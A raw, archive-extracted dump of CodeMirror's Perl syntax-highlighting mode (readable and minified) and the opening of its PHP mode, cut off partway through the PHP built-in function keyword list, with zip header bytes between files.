tokenChain(stream,state,["}"],RXstyle,RXmodifiers);}
                                        if(c=="<"){
                                                return
tokenChain(stream,state,[">"],RXstyle,RXmodifiers);}}}}
                if(ch=="s"){
                        var c=/[\/>\]})\w]/.test(look(stream, -2));
                        if(!c){
                               
c=stream.eat(/[(\[{<\^'"!~\/]/);
                                if(c){
                                        if(c=="[")
                                                return
tokenChain(stream,state,["]","]"],RXstyle,RXmodifiers);
                                        if(c=="{")
                                                return
tokenChain(stream,state,["}","}"],RXstyle,RXmodifiers);
                                        if(c=="<")
                                                return
tokenChain(stream,state,[">",">"],RXstyle,RXmodifiers);
                                        if(c=="(")
                                                return
tokenChain(stream,state,[")",")"],RXstyle,RXmodifiers);
                                        return
tokenChain(stream,state,[c,c],RXstyle,RXmodifiers);}}}
                if(ch=="y"){
                        var c=/[\/>\]})\w]/.test(look(stream, -2));
                        if(!c){
                               
c=stream.eat(/[(\[{<\^'"!~\/]/);
                                if(c){
                                        if(c=="[")
                                                return
tokenChain(stream,state,["]","]"],RXstyle,RXmodifiers);
                                        if(c=="{")
                                                return
tokenChain(stream,state,["}","}"],RXstyle,RXmodifiers);
                                        if(c=="<")
                                                return
tokenChain(stream,state,[">",">"],RXstyle,RXmodifiers);
                                        if(c=="(")
                                                return
tokenChain(stream,state,[")",")"],RXstyle,RXmodifiers);
                                        return
tokenChain(stream,state,[c,c],RXstyle,RXmodifiers);}}}
                if(ch=="t"){
                        var c=/[\/>\]})\w]/.test(look(stream, -2));
                        if(!c){
                                c=stream.eat("r");if(c){
                               
c=stream.eat(/[(\[{<\^'"!~\/]/);
                                if(c){
                                        if(c=="[")
                                                return
tokenChain(stream,state,["]","]"],RXstyle,RXmodifiers);
                                        if(c=="{")
                                                return
tokenChain(stream,state,["}","}"],RXstyle,RXmodifiers);
                                        if(c=="<")
                                                return
tokenChain(stream,state,[">",">"],RXstyle,RXmodifiers);
                                        if(c=="(")
                                                return
tokenChain(stream,state,[")",")"],RXstyle,RXmodifiers);
                                        return
tokenChain(stream,state,[c,c],RXstyle,RXmodifiers);}}}}
                if(ch=="`"){
                        return
tokenChain(stream,state,[ch],"variable-2");}
                if(ch=="/"){
                        if(!/~\s*$/.test(prefix(stream)))
                                return "operator";
                        else
                                return
tokenChain(stream,state,[ch],RXstyle,RXmodifiers);}
                if(ch=="$"){
                        var p=stream.pos;
                       
if(stream.eatWhile(/\d/)||stream.eat("{")&&stream.eatWhile(/\d/)&&stream.eat("}"))
                                return "variable-2";
                        else
                                stream.pos=p;}
                if(/[$@%]/.test(ch)){
                        var p=stream.pos;
                       
if(stream.eat("^")&&stream.eat(/[A-Z]/)||!/[@$%&]/.test(look(stream,
-2))&&stream.eat(/[=|\\\-#?@;:&`~\^!\[\]*'"$+.,\/<>()]/)){
                                var c=stream.current();
                                if(PERL[c])
                                        return "variable-2";}
                        stream.pos=p;}
                if(/[$@%&]/.test(ch)){
                       
if(stream.eatWhile(/[\w$\[\]]/)||stream.eat("{")&&stream.eatWhile(/[\w$\[\]]/)&&stream.eat("}")){
                                var c=stream.current();
                                if(PERL[c])
                                        return "variable-2";
                                else
                                        return "variable";}}
                if(ch=="#"){
                        if(look(stream, -2)!="$"){
                                stream.skipToEnd();
                                return "comment";}}
                if(/[:+\-\^*$&%@=<>!?|\/~\.]/.test(ch)){
                        var p=stream.pos;
                       
stream.eatWhile(/[:+\-\^*$&%@=<>!?|\/~\.]/);
                        if(PERL[stream.current()])
                                return "operator";
                        else
                                stream.pos=p;}
                if(ch=="_"){
                        if(stream.pos==1){
                                if(suffix(stream, 6)=="_END__"){
                                        return
tokenChain(stream,state,['\0'],"comment");}
                                else if(suffix(stream,
7)=="_DATA__"){
                                        return
tokenChain(stream,state,['\0'],"variable-2");}
                                else if(suffix(stream,
7)=="_C__"){
                                        return
tokenChain(stream,state,['\0'],"string");}}}
                if(/\w/.test(ch)){
                        var p=stream.pos;
                        if(look(stream,
-2)=="{"&&(look(stream,
0)=="}"||stream.eatWhile(/\w/)&&look(stream,
0)=="}"))
                                return "string";
                        else
                                stream.pos=p;}
                if(/[A-Z]/.test(ch)){
                        var l=look(stream, -2);
                        var p=stream.pos;
                        stream.eatWhile(/[A-Z_]/);
                        if(/[\da-z]/.test(look(stream, 0))){
                                stream.pos=p;}
                        else{
                                var c=PERL[stream.current()];
                                if(!c)
                                        return "meta";
                                if(c[1])
                                        c=c[0];
                                if(l!=":"){
                                        if(c==1)
                                                return "keyword";
                                        else if(c==2)
                                                return "def";
                                        else if(c==3)
                                                return "atom";
                                        else if(c==4)
                                                return
"operator";
                                        else if(c==5)
                                                return
"variable-2";
                                        else
                                                return "meta";}
                                else
                                        return "meta";}}
                if(/[a-zA-Z_]/.test(ch)){
                        var l=look(stream, -2);
                        stream.eatWhile(/\w/);
                        var c=PERL[stream.current()];
                        if(!c)
                                return "meta";
                        if(c[1])
                                c=c[0];
                        if(l!=":"){
                                if(c==1)
                                        return "keyword";
                                else if(c==2)
                                        return "def";
                                else if(c==3)
                                        return "atom";
                                else if(c==4)
                                        return "operator";
                                else if(c==5)
                                        return "variable-2";
                                else
                                        return "meta";}
                        else
                                return "meta";}
                return null;}

        return {
            startState: function() {
                return {
                    tokenize: tokenPerl,
                    chain: null,
                    style: null,
                    tail: null
                };
            },
            token: function(stream, state) {
                return (state.tokenize || tokenPerl)(stream, state);
            },
            lineComment: '#'
        };
});

CodeMirror.registerHelper("wordChars", "perl",
/[\w$]/);

CodeMirror.defineMIME("text/x-perl", "perl");

// it's like "peek", but need for look-ahead or look-behind
if index < 0
function look(stream, c){
  return stream.string.charAt(stream.pos+(c||0));
}

// return a part of prefix of current stream from current position
function prefix(stream, c){
  if(c){
    var x=stream.pos-c;
    return stream.string.substr((x>=0?x:0),c);}
  else{
    return stream.string.substr(0,stream.pos-1);
  }
}

// return a part of suffix of current stream from current position
function suffix(stream, c){
  var y=stream.string.length;
  var x=y-stream.pos+1;
  return stream.string.substr(stream.pos,(c&&c<y?c:x));
}

// eating and vomiting a part of stream from current position
function eatSuffix(stream, c){
  var x=stream.pos+c;
  var y;
  if(x<=0)
    stream.pos=0;
  else if(x>=(y=stream.string.length-1))
    stream.pos=y;
  else
    stream.pos=x;
}

});
PKJ��[&���!'!'
codemirror/mode/perl/perl.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a,b){return a.string.charAt(a.pos+(b||0))}function
c(a,b){if(b){var c=a.pos-b;return a.string.substr(c>=0?c:0,b)}return
a.string.substr(0,a.pos-1)}function d(a,b){var
c=a.string.length,d=c-a.pos+1;return
a.string.substr(a.pos,b&&b<c?b:d)}function e(a,b){var
c,d=a.pos+b;d<=0?a.pos=0:d>=(c=a.string.length-1)?a.pos=c:a.pos=d}a.defineMode("perl",(function(){function
a(a,b,c,d,e){return
b.chain=null,b.style=null,b.tail=null,b.tokenize=function(a,b){for(var
f,h=!1,i=0;f=a.next();){if(f===c[i]&&!h)return void
0!==c[++i]?(b.chain=c[i],b.style=d,b.tail=e):e&&a.eatWhile(e),b.tokenize=g,d;h=!h&&"\\"==f}return
d},b.tokenize(a,b)}function f(a,b,c){return b.tokenize=function(a,b){return
a.string==c&&(b.tokenize=g),a.skipToEnd(),"string"},b.tokenize(a,b)}function
g(g,k){if(g.eatSpace())return null;if(k.chain)return
a(g,k,k.chain,k.style,k.tail);if(g.match(/^\-?[\d\.]/,!1)&&g.match(/^(\-?(\d*\.\d+(e[+-]?\d+)?|\d+\.\d*)|0x[\da-fA-F]+|0b[01]+|\d+(e[+-]?\d+)?)/))return"number";if(g.match(/^<<(?=\w)/))return
g.eatWhile(/\w/),f(g,k,g.current().substr(2));if(g.sol()&&g.match(/^\=item(?!\w)/))return
f(g,k,"=cut");var
l=g.next();if('"'==l||"'"==l){if(c(g,3)=="<<"+l){var
m=g.pos;g.eatWhile(/\w/);var
n=g.current().substr(1);if(n&&g.eat(l))return
f(g,k,n);g.pos=m}return
a(g,k,[l],"string")}if("q"==l){var
o=b(g,-2);if(!o||!/\w/.test(o))if("x"==(o=b(g,0))){if("("==(o=b(g,1)))return
e(g,2),a(g,k,[")"],i,j);if("["==o)return
e(g,2),a(g,k,["]"],i,j);if("{"==o)return
e(g,2),a(g,k,["}"],i,j);if("<"==o)return
e(g,2),a(g,k,[">"],i,j);if(/[\^'"!~\/]/.test(o))return
e(g,1),a(g,k,[g.eat(o)],i,j)}else
if("q"==o){if("("==(o=b(g,1)))return
e(g,2),a(g,k,[")"],"string");if("["==o)return
e(g,2),a(g,k,["]"],"string");if("{"==o)return
e(g,2),a(g,k,["}"],"string");if("<"==o)return
e(g,2),a(g,k,[">"],"string");if(/[\^'"!~\/]/.test(o))return
e(g,1),a(g,k,[g.eat(o)],"string")}else
if("w"==o){if("("==(o=b(g,1)))return
e(g,2),a(g,k,[")"],"bracket");if("["==o)return
e(g,2),a(g,k,["]"],"bracket");if("{"==o)return
e(g,2),a(g,k,["}"],"bracket");if("<"==o)return
e(g,2),a(g,k,[">"],"bracket");if(/[\^'"!~\/]/.test(o))return
e(g,1),a(g,k,[g.eat(o)],"bracket")}else
if("r"==o){if("("==(o=b(g,1)))return
e(g,2),a(g,k,[")"],i,j);if("["==o)return
e(g,2),a(g,k,["]"],i,j);if("{"==o)return
e(g,2),a(g,k,["}"],i,j);if("<"==o)return
e(g,2),a(g,k,[">"],i,j);if(/[\^'"!~\/]/.test(o))return
e(g,1),a(g,k,[g.eat(o)],i,j)}else
if(/[\^'"!~\/(\[{<]/.test(o)){if("("==o)return
e(g,1),a(g,k,[")"],"string");if("["==o)return
e(g,1),a(g,k,["]"],"string");if("{"==o)return
e(g,1),a(g,k,["}"],"string");if("<"==o)return
e(g,1),a(g,k,[">"],"string");if(/[\^'"!~\/]/.test(o))return
a(g,k,[g.eat(o)],"string")}}if("m"==l){var
o=b(g,-2);if((!o||!/\w/.test(o))&&(o=g.eat(/[(\[{<\^'"!~\/]/))){if(/[\^'"!~\/]/.test(o))return
a(g,k,[o],i,j);if("("==o)return
a(g,k,[")"],i,j);if("["==o)return
a(g,k,["]"],i,j);if("{"==o)return
a(g,k,["}"],i,j);if("<"==o)return
a(g,k,[">"],i,j)}}if("s"==l){var
o=/[\/>\]})\w]/.test(b(g,-2));if(!o&&(o=g.eat(/[(\[{<\^'"!~\/]/)))return"["==o?a(g,k,["]","]"],i,j):"{"==o?a(g,k,["}","}"],i,j):"<"==o?a(g,k,[">",">"],i,j):"("==o?a(g,k,[")",")"],i,j):a(g,k,[o,o],i,j)}if("y"==l){var
o=/[\/>\]})\w]/.test(b(g,-2));if(!o&&(o=g.eat(/[(\[{<\^'"!~\/]/)))return"["==o?a(g,k,["]","]"],i,j):"{"==o?a(g,k,["}","}"],i,j):"<"==o?a(g,k,[">",">"],i,j):"("==o?a(g,k,[")",")"],i,j):a(g,k,[o,o],i,j)}if("t"==l){var
o=/[\/>\]})\w]/.test(b(g,-2));if(!o&&(o=g.eat("r"))&&(o=g.eat(/[(\[{<\^'"!~\/]/)))return"["==o?a(g,k,["]","]"],i,j):"{"==o?a(g,k,["}","}"],i,j):"<"==o?a(g,k,[">",">"],i,j):"("==o?a(g,k,[")",")"],i,j):a(g,k,[o,o],i,j)}if("`"==l)return
a(g,k,[l],"variable-2");if("/"==l)return/~\s*$/.test(c(g))?a(g,k,[l],i,j):"operator";if("$"==l){var
m=g.pos;if(g.eatWhile(/\d/)||g.eat("{")&&g.eatWhile(/\d/)&&g.eat("}"))return"variable-2";g.pos=m}if(/[$@%]/.test(l)){var
m=g.pos;if(g.eat("^")&&g.eat(/[A-Z]/)||!/[@$%&]/.test(b(g,-2))&&g.eat(/[=|\\\-#?@;:&`~\^!\[\]*'"$+.,\/<>()]/)){var
o=g.current();if(h[o])return"variable-2"}g.pos=m}if(/[$@%&]/.test(l)&&(g.eatWhile(/[\w$\[\]]/)||g.eat("{")&&g.eatWhile(/[\w$\[\]]/)&&g.eat("}"))){var
o=g.current();return
h[o]?"variable-2":"variable"}if("#"==l&&"$"!=b(g,-2))return
g.skipToEnd(),"comment";if(/[:+\-\^*$&%@=<>!?|\/~\.]/.test(l)){var
m=g.pos;if(g.eatWhile(/[:+\-\^*$&%@=<>!?|\/~\.]/),h[g.current()])return"operator";g.pos=m}if("_"==l&&1==g.pos){if("_END__"==d(g,6))return
a(g,k,["\0"],"comment");if("_DATA__"==d(g,7))return
a(g,k,["\0"],"variable-2");if("_C__"==d(g,7))return
a(g,k,["\0"],"string")}if(/\w/.test(l)){var
m=g.pos;if("{"==b(g,-2)&&("}"==b(g,0)||g.eatWhile(/\w/)&&"}"==b(g,0)))return"string";g.pos=m}if(/[A-Z]/.test(l)){var
p=b(g,-2),m=g.pos;if(g.eatWhile(/[A-Z_]/),!/[\da-z]/.test(b(g,0))){var
o=h[g.current()];return
o?(o[1]&&(o=o[0]),":"!=p?1==o?"keyword":2==o?"def":3==o?"atom":4==o?"operator":5==o?"variable-2":"meta":"meta"):"meta"}g.pos=m}if(/[a-zA-Z_]/.test(l)){var
p=b(g,-2);g.eatWhile(/\w/);var o=h[g.current()];return
o?(o[1]&&(o=o[0]),":"!=p?1==o?"keyword":2==o?"def":3==o?"atom":4==o?"operator":5==o?"variable-2":"meta":"meta"):"meta"}return
null}var
h={"->":4,"++":4,"--":4,"**":4,"=~":4,"!~":4,"*":4,"/":4,"%":4,x:4,"+":4,"-":4,".":4,"<<":4,">>":4,"<":4,">":4,"<=":4,">=":4,lt:4,gt:4,le:4,ge:4,"==":4,"!=":4,"<=>":4,eq:4,ne:4,cmp:4,"~~":4,"&":4,"|":4,"^":4,"&&":4,"||":4,"//":4,"..":4,"...":4,"?":4,":":4,"=":4,"+=":4,"-=":4,"*=":4,",":4,"=>":4,"::":4,not:4,and:4,or:4,xor:4,BEGIN:[5,1],END:[5,1],PRINT:[5,1],PRINTF:[5,1],GETC:[5,1],READ:[5,1],READLINE:[5,1],DESTROY:[5,1],TIE:[5,1],TIEHANDLE:[5,1],UNTIE:[5,1],STDIN:5,STDIN_TOP:5,STDOUT:5,STDOUT_TOP:5,STDERR:5,STDERR_TOP:5,$ARG:5,$_:5,"@ARG":5,"@_":5,$LIST_SEPARATOR:5,'$"':5,$PROCESS_ID:5,$PID:5,$$:5,$REAL_GROUP_ID:5,$GID:5,"$(":5,$EFFECTIVE_GROUP_ID:5,$EGID:5,"$)":5,$PROGRAM_NAME:5,$0:5,$SUBSCRIPT_SEPARATOR:5,$SUBSEP:5,"$;":5,$REAL_USER_ID:5,$UID:5,"$<":5,$EFFECTIVE_USER_ID:5,$EUID:5,"$>":5,$a:5,$b:5,$COMPILING:5,"$^C":5,$DEBUGGING:5,"$^D":5,"${^ENCODING}":5,$ENV:5,"%ENV":5,$SYSTEM_FD_MAX:5,"$^F":5,"@F":5,"${^GLOBAL_PHASE}":5,"$^H":5,"%^H":5,"@INC":5,"%INC":5,$INPLACE_EDIT:5,"$^I":5,"$^M":5,$OSNAME:5,"$^O":5,"${^OPEN}":5,$PERLDB:5,"$^P":5,$SIG:5,"%SIG":5,$BASETIME:5,"$^T":5,"${^TAINT}":5,"${^UNICODE}":5,"${^UTF8CACHE}":5,"${^UTF8LOCALE}":5,$PERL_VERSION:5,"$^V":5,"${^WIN32_SLOPPY_STAT}":5,$EXECUTABLE_NAME:5,"$^X":5,$1:5,$MATCH:5,"$&":5,"${^MATCH}":5,$PREMATCH:5,"$`":5,"${^PREMATCH}":5,$POSTMATCH:5,"$'":5,"${^POSTMATCH}":5,$LAST_PAREN_MATCH:5,"$+":5,$LAST_SUBMATCH_RESULT:5,"$^N":5,"@LAST_MATCH_END":5,"@+":5,"%LAST_PAREN_MATCH":5,"%+":5,"@LAST_MATCH_START":5,"@-":5,"%LAST_MATCH_START":5,"%-":5,$LAST_REGEXP_CODE_RESULT:5,"$^R":5,"${^RE_DEBUG_FLAGS}":5,"${^RE_TRIE_MAXBUF}":5,$ARGV:5,"@ARGV":5,ARGV:5,ARGVOUT:5,$OUTPUT_FIELD_SEPARATOR:5,$OFS:5,"$,":5,$INPUT_LINE_NUMBER:5,$NR:5,"$.":5,$INPUT_RECORD_SEPARATOR:5,$RS:5,"$/":5,$OUTPUT_RECORD_SEPARATOR:5,$ORS:5,"$\\":5,$OUTPUT_AUTOFLUSH:5,"$|":5,$ACCUMULATOR:5,"$^A":5,$FORMAT_FORMFEED:5,"$^L":5,$FORMAT_PAGE_NUMBER:5,"$%":5,$FORMAT_LINES_LEFT:5,"$-":5,$FORMAT_LINE_BREAK_CHARACTERS:5,"$:":5,$FORMAT_LINES_PER_PAGE:5,"$=":5,$FORMAT_TOP_NAME:5,"$^":5,$FORMAT_NAME:5,"$~":5,"${^CHILD_ERROR_NATIVE}":5,$EXTENDED_OS_ERROR:5,"$^E":5,$EXCEPTIONS_BEING_CAUGHT:5,"$^S":5,$WARNING:5,"$^W":5,"${^WARNING_BITS}":5,$OS_ERROR:5,$ERRNO:5,"$!":5,"%OS_ERROR":5,"%ERRNO":5,"%!":5,$CHILD_ERROR:5,"$?":5,$EVAL_ERROR:5,"$@":5,$OFMT:5,"$#":5,"$*":5,$ARRAY_BASE:5,"$[":5,$OLD_PERL_VERSION:5,"$]":5,if:[1,1],elsif:[1,1],else:[1,1],while:[1,1],unless:[1,1],for:[1,1],foreach:[1,1],abs:1,accept:1,alarm:1,atan2:1,bind:1,binmode:1,bless:1,bootstrap:1,break:1,caller:1,chdir:1,chmod:1,chomp:1,chop:1,chown:1,chr:1,chroot:1,close:1,closedir:1,connect:1,continue:[1,1],cos:1,crypt:1,dbmclose:1,dbmopen:1,default:1,defined:1,delete:1,die:1,do:1,dump:1,each:1,endgrent:1,endhostent:1,endnetent:1,endprotoent:1,endpwent:1,endservent:1,eof:1,eval:1,exec:1,exists:1,exit:1,exp:1,fcntl:1,fileno:1,flock:1,fork:1,format:1,formline:1,getc:1,getgrent:1,getgrgid:1,getgrnam:1,gethostbyaddr:1,gethostbyname:1,gethostent:1,getlogin:1,getnetbyaddr:1,getnetbyname:1,getnetent:1,getpeername:1,getpgrp:1,getppid:1,getpriority:1,getprotobyname:1,getprotobynumber:1,getprotoent:1,getpwent:1,getpwnam:1,getpwuid:1,getservbyname:1,getservbyport:1,getservent:1,getsockname:1,getsockopt:1,given:1,glob:1,gmtime:1,goto:1,grep:1,hex:1,import:1,index:1,int:1,ioctl:1,join:1,keys:1,kill:1,last:1,lc:1,lcfirst:1,length:1,link:1,listen:1,local:2,localtime:1,lock:1,log:1,lstat:1,m:null,map:1,mkdir:1,msgctl:1,msgget:1,msgrcv:1,msgsnd:1,my:2,new:1,next:1,no:1,oct:1,open:1,opendir:1,ord:1,our:2,pack:1,package:1,pipe:1,pop:1,pos:1,print:1,printf:1,prototype:1,push:1,q:null,qq:null,qr:null,quotemeta:null,qw:null,qx:null,rand:1,read:1,readdir:1,readline:1,readlink:1,readpipe:1,recv:1,redo:1,ref:1,rename:1,require:1,reset:1,return:1,reverse:1,rewinddir:1,rindex:1,rmdir:1,s:null,say:1,scalar:1,seek:1,seekdir:1,select:1,semctl:1,semget:1,semop:1,send:1,setgrent:1,sethostent:1,setnetent:1,setpgrp:1,setpriority:1,setprotoent:1,setpwent:1,setservent:1,setsockopt:1,shift:1,shmctl:1,shmget:1,shmread:1,shmwrite:1,shutdown:1,sin:1,sleep:1,socket:1,socketpair:1,sort:1,splice:1,split:1,sprintf:1,sqrt:1,srand:1,stat:1,state:1,study:1,sub:1,substr:1,symlink:1,syscall:1,sysopen:1,sysread:1,sysseek:1,system:1,syswrite:1,tell:1,telldir:1,tie:1,tied:1,time:1,times:1,tr:null,truncate:1,uc:1,ucfirst:1,umask:1,undef:1,unlink:1,unpack:1,unshift:1,untie:1,use:1,utime:1,values:1,vec:1,wait:1,waitpid:1,wantarray:1,warn:1,when:1,write:1,y:null},i="string-2",j=/[goseximacplud]/;return{startState:function(){return{tokenize:g,chain:null,style:null,tail:null}},token:function(a,b){return(b.tokenize||g)(a,b)},lineComment:"#"}})),a.registerHelper("wordChars","perl",/[\w$]/),a.defineMIME("text/x-perl","perl")}));PKJ��[Y�x�rGrGcodemirror/mode/php/php.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../htmlmixed/htmlmixed"),
require("../clike/clike"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../htmlmixed/htmlmixed", "../clike/clike"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function keywords(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  // Helper for phpString
  function matchSequence(list, end, escapes) {
    if (list.length == 0) return phpString(end);
    return function (stream, state) {
      var patterns = list[0];
      for (var i = 0; i < patterns.length; i++) if
(stream.match(patterns[i][0])) {
        state.tokenize = matchSequence(list.slice(1), end);
        return patterns[i][1];
      }
      state.tokenize = phpString(end, escapes);
      return "string";
    };
  }
  function phpString(closing, escapes) {
    return function(stream, state) { return phpString_(stream, state,
closing, escapes); };
  }
  function phpString_(stream, state, closing, escapes) {
    // "Complex" syntax
    if (escapes !== false && stream.match("${", false) ||
stream.match("{$", false)) {
      state.tokenize = null;
      return "string";
    }

    // Simple syntax
    if (escapes !== false &&
stream.match(/^\$[a-zA-Z_][a-zA-Z0-9_]*/)) {
      // After the variable name there may appear array or object operator.
      if (stream.match("[", false)) {
        // Match array operator
        state.tokenize = matchSequence([
          [["[", null]],
          [[/\d[\w\.]*/, "number"],
           [/\$[a-zA-Z_][a-zA-Z0-9_]*/, "variable-2"],
           [/[\w\$]+/, "variable"]],
          [["]", null]]
        ], closing, escapes);
      }
      if (stream.match(/\-\>\w/, false)) {
        // Match object operator
        state.tokenize = matchSequence([
          [["->", null]],
          [[/[\w]+/, "variable"]]
        ], closing, escapes);
      }
      return "variable-2";
    }

    var escaped = false;
    // Normal string
    while (!stream.eol() &&
           (escaped || escapes === false ||
            (!stream.match("{$", false) &&
             !stream.match(/^(\$[a-zA-Z_][a-zA-Z0-9_]*|\$\{)/, false)))) {
      if (!escaped && stream.match(closing)) {
        state.tokenize = null;
        state.tokStack.pop(); state.tokStack.pop();
        break;
      }
      escaped = stream.next() == "\\" && !escaped;
    }
    return "string";
  }

  var phpKeywords = "abstract and array as break case catch class
clone const continue declare default " +
    "do else elseif enddeclare endfor endforeach endif endswitch
endwhile extends final " +
    "for foreach function global goto if implements interface
instanceof namespace " +
    "new or private protected public static switch throw trait try use
var while xor " +
    "die echo empty exit eval include include_once isset list require
require_once return " +
    "print unset __halt_compiler self static parent yield insteadof
finally";
  var phpAtoms = "true false null TRUE FALSE NULL __CLASS__ __DIR__
__FILE__ __LINE__ __METHOD__ __FUNCTION__ __NAMESPACE__ __TRAIT__";
  var phpBuiltin = "func_num_args func_get_arg func_get_args strlen
strcmp strncmp strcasecmp strncasecmp each error_reporting define defined
trigger_error user_error set_error_handler restore_error_handler
get_declared_classes get_loaded_extensions extension_loaded
get_extension_funcs debug_backtrace constant bin2hex hex2bin sleep usleep
time mktime gmmktime strftime gmstrftime strtotime date gmdate getdate
localtime checkdate flush wordwrap htmlspecialchars htmlentities
html_entity_decode md5 md5_file crc32 getimagesize image_type_to_mime_type
phpinfo phpversion phpcredits strnatcmp strnatcasecmp substr_count strspn
strcspn strtok strtoupper strtolower strpos strrpos strrev hebrev hebrevc
nl2br basename dirname pathinfo stripslashes stripcslashes strstr stristr
strrchr str_shuffle str_word_count strcoll substr substr_replace quotemeta
ucfirst ucwords strtr addslashes addcslashes rtrim str_replace str_repeat
count_chars chunk_split trim ltrim strip_tags similar_text explode implode
setlocale localeconv parse_str str_pad chop strchr sprintf printf vprintf
vsprintf sscanf fscanf parse_url urlencode urldecode rawurlencode
rawurldecode readlink linkinfo link unlink exec system escapeshellcmd
escapeshellarg passthru shell_exec proc_open proc_close rand srand
getrandmax mt_rand mt_srand mt_getrandmax base64_decode base64_encode abs
ceil floor round is_finite is_nan is_infinite bindec hexdec octdec decbin
decoct dechex base_convert number_format fmod ip2long long2ip getenv putenv
getopt microtime gettimeofday getrusage uniqid quoted_printable_decode
set_time_limit get_cfg_var magic_quotes_runtime set_magic_quotes_runtime
get_magic_quotes_gpc get_magic_quotes_runtime import_request_variables
error_log serialize unserialize memory_get_usage var_dump var_export
debug_zval_dump print_r highlight_file show_source highlight_string ini_get
ini_get_all ini_set ini_alter ini_restore get_include_path set_include_path
restore_include_path setcookie header headers_sent connection_aborted
connection_status ignore_user_abort parse_ini_file is_uploaded_file
move_uploaded_file intval floatval doubleval strval gettype settype is_null
is_resource is_bool is_long is_float is_int is_integer is_double is_real
is_numeric is_string is_array is_object is_scalar ereg ereg_replace eregi
eregi_replace split spliti join sql_regcase dl pclose popen readfile rewind
rmdir umask fclose feof fgetc fgets fgetss fread fopen fpassthru ftruncate
fstat fseek ftell fflush fwrite fputs mkdir rename copy tempnam tmpfile
file file_get_contents file_put_contents stream_select
stream_context_create stream_context_set_params stream_context_set_option
stream_context_get_options stream_filter_prepend stream_filter_append
fgetcsv flock get_meta_tags stream_set_write_buffer set_file_buffer
set_socket_blocking stream_set_blocking socket_set_blocking
stream_get_meta_data stream_register_wrapper stream_wrapper_register
stream_set_timeout socket_set_timeout socket_get_status realpath fnmatch
fsockopen pfsockopen pack unpack get_browser crypt opendir closedir chdir
getcwd rewinddir readdir dir glob fileatime filectime filegroup fileinode
filemtime fileowner fileperms filesize filetype file_exists is_writable
is_writeable is_readable is_executable is_file is_dir is_link stat lstat
chown touch clearstatcache mail ob_start ob_flush ob_clean ob_end_flush
ob_end_clean ob_get_flush ob_get_clean ob_get_length ob_get_level
ob_get_status ob_get_contents ob_implicit_flush ob_list_handlers ksort
krsort natsort natcasesort asort arsort sort rsort usort uasort uksort
shuffle array_walk count end prev next reset current key min max in_array
array_search extract compact array_fill range array_multisort array_push
array_pop array_shift array_unshift array_splice array_slice array_merge
array_merge_recursive array_keys array_values array_count_values
array_reverse array_reduce array_pad array_flip array_change_key_case
array_rand array_unique array_intersect array_intersect_assoc array_diff
array_diff_assoc array_sum array_filter array_map array_chunk
array_key_exists array_intersect_key array_combine array_column pos sizeof
key_exists assert assert_options version_compare ftok str_rot13 aggregate
session_name session_module_name session_save_path session_id
session_regenerate_id session_decode session_register session_unregister
session_is_registered session_encode session_start session_destroy
session_unset session_set_save_handler session_cache_limiter
session_cache_expire session_set_cookie_params session_get_cookie_params
session_write_close preg_match preg_match_all preg_replace
preg_replace_callback preg_split preg_quote preg_grep overload ctype_alnum
ctype_alpha ctype_cntrl ctype_digit ctype_lower ctype_graph ctype_print
ctype_punct ctype_space ctype_upper ctype_xdigit virtual
apache_request_headers apache_note apache_lookup_uri apache_child_terminate
apache_setenv apache_response_headers apache_get_version getallheaders
mysql_connect mysql_pconnect mysql_close mysql_select_db mysql_create_db
mysql_drop_db mysql_query mysql_unbuffered_query mysql_db_query
mysql_list_dbs mysql_list_tables mysql_list_fields mysql_list_processes
mysql_error mysql_errno mysql_affected_rows mysql_insert_id mysql_result
mysql_num_rows mysql_num_fields mysql_fetch_row mysql_fetch_array
mysql_fetch_assoc mysql_fetch_object mysql_data_seek mysql_fetch_lengths
mysql_fetch_field mysql_field_seek mysql_free_result mysql_field_name
mysql_field_table mysql_field_len mysql_field_type mysql_field_flags
mysql_escape_string mysql_real_escape_string mysql_stat mysql_thread_id
mysql_client_encoding mysql_get_client_info mysql_get_host_info
mysql_get_proto_info mysql_get_server_info mysql_info mysql mysql_fieldname
mysql_fieldtable mysql_fieldlen mysql_fieldtype mysql_fieldflags
mysql_selectdb mysql_createdb mysql_dropdb mysql_freeresult mysql_numfields
mysql_numrows mysql_listdbs mysql_listtables mysql_listfields mysql_db_name
mysql_dbname mysql_tablename mysql_table_name pg_connect pg_pconnect
pg_close pg_connection_status pg_connection_busy pg_connection_reset
pg_host pg_dbname pg_port pg_tty pg_options pg_ping pg_query pg_send_query
pg_cancel_query pg_fetch_result pg_fetch_row pg_fetch_assoc pg_fetch_array
pg_fetch_object pg_fetch_all pg_affected_rows pg_get_result pg_result_seek
pg_result_status pg_free_result pg_last_oid pg_num_rows pg_num_fields
pg_field_name pg_field_num pg_field_size pg_field_type pg_field_prtlen
pg_field_is_null pg_get_notify pg_get_pid pg_result_error pg_last_error
pg_last_notice pg_put_line pg_end_copy pg_copy_to pg_copy_from pg_trace
pg_untrace pg_lo_create pg_lo_unlink pg_lo_open pg_lo_close pg_lo_read
pg_lo_write pg_lo_read_all pg_lo_import pg_lo_export pg_lo_seek pg_lo_tell
pg_escape_string pg_escape_bytea pg_unescape_bytea pg_client_encoding
pg_set_client_encoding pg_meta_data pg_convert pg_insert pg_update
pg_delete pg_select pg_exec pg_getlastoid pg_cmdtuples pg_errormessage
pg_numrows pg_numfields pg_fieldname pg_fieldsize pg_fieldtype pg_fieldnum
pg_fieldprtlen pg_fieldisnull pg_freeresult pg_result pg_loreadall
pg_locreate pg_lounlink pg_loopen pg_loclose pg_loread pg_lowrite
pg_loimport pg_loexport http_response_code get_declared_traits
getimagesizefromstring socket_import_stream stream_set_chunk_size
trait_exists header_register_callback class_uses session_status
session_register_shutdown echo print global static exit array empty eval
isset unset die include require include_once require_once json_decode
json_encode json_last_error json_last_error_msg curl_close curl_copy_handle
curl_errno curl_error curl_escape curl_exec curl_file_create curl_getinfo
curl_init curl_multi_add_handle curl_multi_close curl_multi_exec
